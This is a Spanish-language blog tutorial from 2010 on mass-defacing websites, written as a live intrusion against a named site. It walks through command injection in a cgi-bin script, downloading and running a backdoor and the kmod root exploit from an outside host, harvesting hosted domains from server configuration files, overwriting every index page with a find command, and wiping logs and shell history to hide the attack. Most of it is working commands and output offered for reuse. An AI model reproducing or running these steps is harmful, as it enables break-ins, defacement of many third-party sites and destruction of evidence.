diumenge, 26 de setembre del 2010

Haciendo un Mass (Massive) Defacement

Comenzaremos todo desde la web que queramos atacar :), primero que nada le

meteremos el backdoor por cualquier vulnerabilidad que conozcamos en este

caso es una ejecucion de comandos remota en un script que tenia la web de

ejemplo y estaba en el directorio | cgi-bin | y los comandos los fui ejecu

tando de la siguiente manera:


&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

http://rock101.org/cgi-bin/index.cgi?page=|uname -a;id|

Linux elat 2.4.7-10 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown
uid=99(nobody) gid=99(nobody) groups=99(nobody)

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&


Como ven el kernel es vulnerable y tengo id de nobody y ademas tengo algunos

permisos de escritura y ejecucion en el directorio tmp, asi que subire mi

backdoor en ese directorio, le dare permisos y lo ejecutare:


&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

http://rock101.org/cgi-bin/index.cgi
?page=|cd /tmp;wget defacers.com.mx/bd/44464; chmod 777 44464; ./44464|

Psychophobia Backdoor OK pid= 1657

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&


Y listo tengo mi backdoor funcionando en el puerto 44464, y ahora me conec

tare con el putty via telnet por el puerto 44464 a rock101.org


Y listo estoy dentro del servidor:

###############################################################

sh-2.05$ uname -a;pwd;id
uname -a;pwd;id
Linux elat 2.4.7-10 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown
/
uid=99(nobody) gid=99(nobody) groups=99(nobody)
sh-2.05$

###############################################################


Concluida la parte #1, ya estamos propiamente conectados con una shell remo

ta y ahora procederemos a obtener root.


############################################################################





| * Adquiriendo Root * |

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Esta parte es la que a muchos se les dificulta ya que no saben que exploit u

sar para rootear cada Kernel, o que kernel pueden rootear y que no, espero

en estos dias sacar el texto que explica eso con mucho detalle :)

En este caso nuestro servidor es un:


""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
Linux elat 2.4.7-10 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown

""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""

Si analizamos un poco veremos que es un kernel viejo y el año en que fue

compilado pues ya es algo atrasadon con lo cual hay grandes posibilidades de

que lo podamos rootear, en este caso el kernel 2.4.6-10 lo podemos rootear

con el exploit llamado ptrace o con el exploit llamado kmod, en mi caso

usare el exploit KMOD para rootear ese servidor, por lo cual procedo a subir

lo a darle permisos 777 y posteriormente lo ejecuto



******************************************************************

sh-2.05$ wget defacersmexico.net/xpl/kmod

Connecting to defacersmexico.net:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 14,860 [text/plain]

    0K .......... ....                          100% @  70.79 KB/s

23:26:39 (70.45 KB/s) - `kmod' saved [14860/14860]




PRIMERO LO SUBI :)

******************************************************************

sh-2.05$ chmod 777 kmod; ./kmod
chmod 777 kmod; ./kmod
[+] Attached to 30330
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x40011aed
[+] Now wait for suid shell...
sh-2.05#
sh-2.05# id
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys)

4(adm),6(disk),10(wheel)

sh-2.05#


AQUI LE DI PERMISOS 777 Y LO EJECUTE :) y Listo! SOY ROOT

******************************************************************


Como ven ahoras que tenemos root podemos hacer infinidad de cosas con los

permisos que obtuvimos sin embargo nos centraremos en el deface.


############################################################################





| * Recopilando Sitios Web * |

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

El siguiente paso es ver que sitios web son los que aloja el servidor para

que los podamos mandar a ZONE-H o a DELTA5 a que los verifiquen, esto es re

lativamente sencillo y se puede hacer de diversas formas, aqui podre algunas

de las mas comunes :)


[+] Encontrando httpd.conf


Bueno el httpd.conf es un archivo el cual contiene la configuracion del ser

vidor, como datos FTP, configuracion DNS, Dominios Alojados ;), este archivo

generalmente lo encontramos en el directorio:


***************************************

/etc/httpd/conf/httpd.conf

***************************************

Sin embargo no siempre esta ahi, en mi experiencia me ha tocado verlo en los

siguientes directorios


***************************************

/etc/httpd/conf/httpd.conf

/etc/apache/httpd.conf

/usr/local/apache/conf/httpd.conf

/home/admin/httpd.conf

/var/www/httpd.conf

***************************************

Sin embargo si el archivo no se encuentra en esos directorios podemos buscar

lo con el siguiente comando:


***************************************

sh-2.05# find / -name httpd.conf

***************************************


Y listo nos dara la ubicacion del archivo en el servidor, pero con abrir el

archivo no basta ya que si lo abrimos nos saldran infinidad de datos que no

nos sirven por lo cual le pediremos al archivo que nos muestre solo los

sitios web que aloja el servidor de la siguiente manera:



****************************************************************************

sh-2.05# cat /etc/httpd/conf/httpd.conf | grep ServerName



cat /etc/httpd/conf/httpd.conf | grep ServerName
# ServerName allows you to set a host name which is sent back to clients for
ServerName elat.com.mx
# to the server the response is coming from) it will use ServerName and
#    ServerName dummy-host.example.com
  ServerName elat.com.mx
  ServerName rock101.org
ServerName elat.com.mx


****************************************************************************


y Como ven el archivo me muestra ahora solo los sitios web que hospeda el

servidor, en este caso son solo dos :P hehehehe sin embargo me ha llegado a

mostrar hasta 700 sitios web ;), para guardar todo lo que nos sale en un txt

solo basta con agregar unas cuantas palabritas al comando


****************************************************************************

sh-2.05# cat /etc/httpd/conf/httpd.conf | grep ServerName >webs.txt

****************************************************************************


Y listo el resultado de la busqueda nos lo pone en el archivo webs.txt


Ahora pasemos a otros metodos para saber los dominios:

############################################################################


[+] Virtual Hosting - Virtual Config


Estos servidores a veces son un gran problema ya que generalmente los sitios

estan en carpetas como: site1, site2, site3, admin1, admin2, admin3, y por

lo general el archivo httpd.conf no esta completo o de plano no existe sin

embargo he aqui el metodo para sacar los sitios


Nos cambiamos al directorio /etc/httpd/conf/vhosts y le damos el comando

enlistar ( ls ), el cual nos mostrara archivos los cuales contienen cada

uno de los sitios que estan dentro del servidor, en mi caso los archivos tie

nen el nombre site1, site2, site3, site4.

Ahora para no estar checando cada archivo y ver que site hay simplemente con

el comando siguiente enlistaremos todos los sitios que hay en el servidor

virtual:


*************************************

sh-2.05# cat site* | grep ServerName

*************************************


El comando lo que hace es indicar que se debe leer cada archivo y extraer el

dominio que contiene :)


############################################################################


[+] Leyendo los archivos /etc/userdomains, /etc/trueuserdomains


Estos archivos generalmente solo existen en hostings donde se use el CPANEL

como sistema de administracion y como el titulo lo dice su ubicacion tambien

es el directorio ETC :), solo basta con leer el archivo para obtener su user

y el dominio que le corresponde al usuario:


*************************************

sh-2.05# cat /etc/userdomains


admin : webhosting.com

user  : hackers.com

user2 : phreakers.com

*************************************


Bien esos son solo algunos metodos para saber que archivos aloja el servidor

espero que les sirvan ahora pasemos a realizar nuestro "mass defacement"


############################################################################





| * Reemplazando todos los index [ 1 ] * |

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Bien este primer metodo que les pondre es el que yo utilizo hehehe, no es na

da del otro mundo sin embargo muchos me he dado cuenta que tambien se quedan

estancados en esta parte:


Empezaremos por subir nuestro index al servidor, en mi caso se llama xx.htm



********************************************

sh-2.05# cd /tmp;wget defacers.com.mx/xx.htm

wget defacers.com.mx/xx.htm
--23:57:53--  http://defacers.com.mx/xx.htm
           => `xx.htm'
Connecting to defacers.com.mx:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 162 [text/html]

    0K                     100% @ 158.20 KB/s

23:57:53 (158.20 KB/s) - `xx.htm' saved [162/162]


********************************************


Ahora procedere a meter el comando que reemplazara todos los index, esto lo

haremos de la siguiente manera:


**********************************************************

sh-2.05# find / -name "index.*" -exec cp /tmp/xx.htm {} \;

**********************************************************


Analizemos la estructura del comando, basicamente manda la siguiente orden a

la shell:


"encuentra los archivos que empiezen con index sin importar su extension y

 posteriormente copia mi archivo xx.htm que esta en el directorio TMP al lu

 gar donde estan esos archivos"


Ahora si sabes la ubicacion de donde estan guardadas las webs pues solo

edita el comando con la ubicacion de las webs, por ejemplo yo se que los

sitios estan en el directorio HOME, entonces simplemente le digo al comando

que busque solo en el directorio HOME


***************************************************************

sh-2.05# find /home/ -name "index.*" -exec cp /tmp/xx.htm {} \;

***************************************************************


Y listo solo buscara en ese directorio, y para saber si ya termino solo hay

que esperar a que nos vuelva a salir sh-2.05# y eso indicara que ya ha termi

nado, si salen algunos errores NO LES HAGAS CASO, ya que es normal que a ve

ces no pueda escribir sobre todos los index, y bueno si quieres comprobar

que lo haga bien pues ve checando las webs que hospeda y poco a poco las ve

ras con tu index :)


############################################################################





| * Reemplazando todos los index [ 2 ] * |

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Esta forma la verdad casi no la uso salvo cuando tengo prisa haha, asi que

pues la pondre rapidamente, usaremos el script llamado CANCER el cual es un

compilado, para usarlo haremos lo siguiente lo subiremos al directorio

donde esta nuestro "index.html", debe llevar ese nombre de lo contrario el

script no funciona y lo ejecutamos de la siguiente manera:


***************************************************************

sh-2.05# ./cancer index.html

***************************************************************


En el cual le estamos "ordenando" que reemplaze todos los index.html que en

cuentre en el servidor por el nuestro :P, sencillo no? hehehe, pero algo tar

dado, y algunas veces no funciona adecuadamente por lo cual les recomiendo

el primer metodo, este script lo encuentras en


http://www.defacers.com.mx/xpl/cancer



Ahora terminemos el trabajo, borrando nuestros logs ;)



############################################################################





| * Borrando Logs * |

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Muchos a estas alturas ya se han de sentir super cabrones, sin embargo les

dire que suckean ;), ahora para borrar nuestros logs hay varios metodos sin

embargo el tutorial que habia hecho sobre eso se me perdio y aqui solo lo a

bordare de manera muy superficial ;)


Comenzaremos encontrando los archivos que podrian ser logs y los borraremos:


***************************************************************

sh-2.05# find / -name "*.log" -exec rm -rf {} \;

***************************************************************


Despues borraremos los archivos .bash_history y .bash_logout los cuales son

los que guardan todo lo ejecutado en el servidor y tengo entendido que guar

dan miles de comandos ;)


***************************************************************

sh-2.05# cd /;rm .bash_history

***************************************************************

sh-2.05# cd /;rm .bash_logut

***************************************************************


Y por ultimo si no encontro esos archivos o no los pudo borrar simplemente

resetearemos o desajustaremos el archivo que guarde el historial :)


***************************************************************

sh-2.05# unset HISTFILE

***************************************************************


Y listo nuestra obra esta terminada los defacements del ejemplo los pueden

encontrar en mi profile de Zone-h ;)

-Kosak0 Team- Editado por 3rr0r

Cap comentari:

Publica un comentari a l'entrada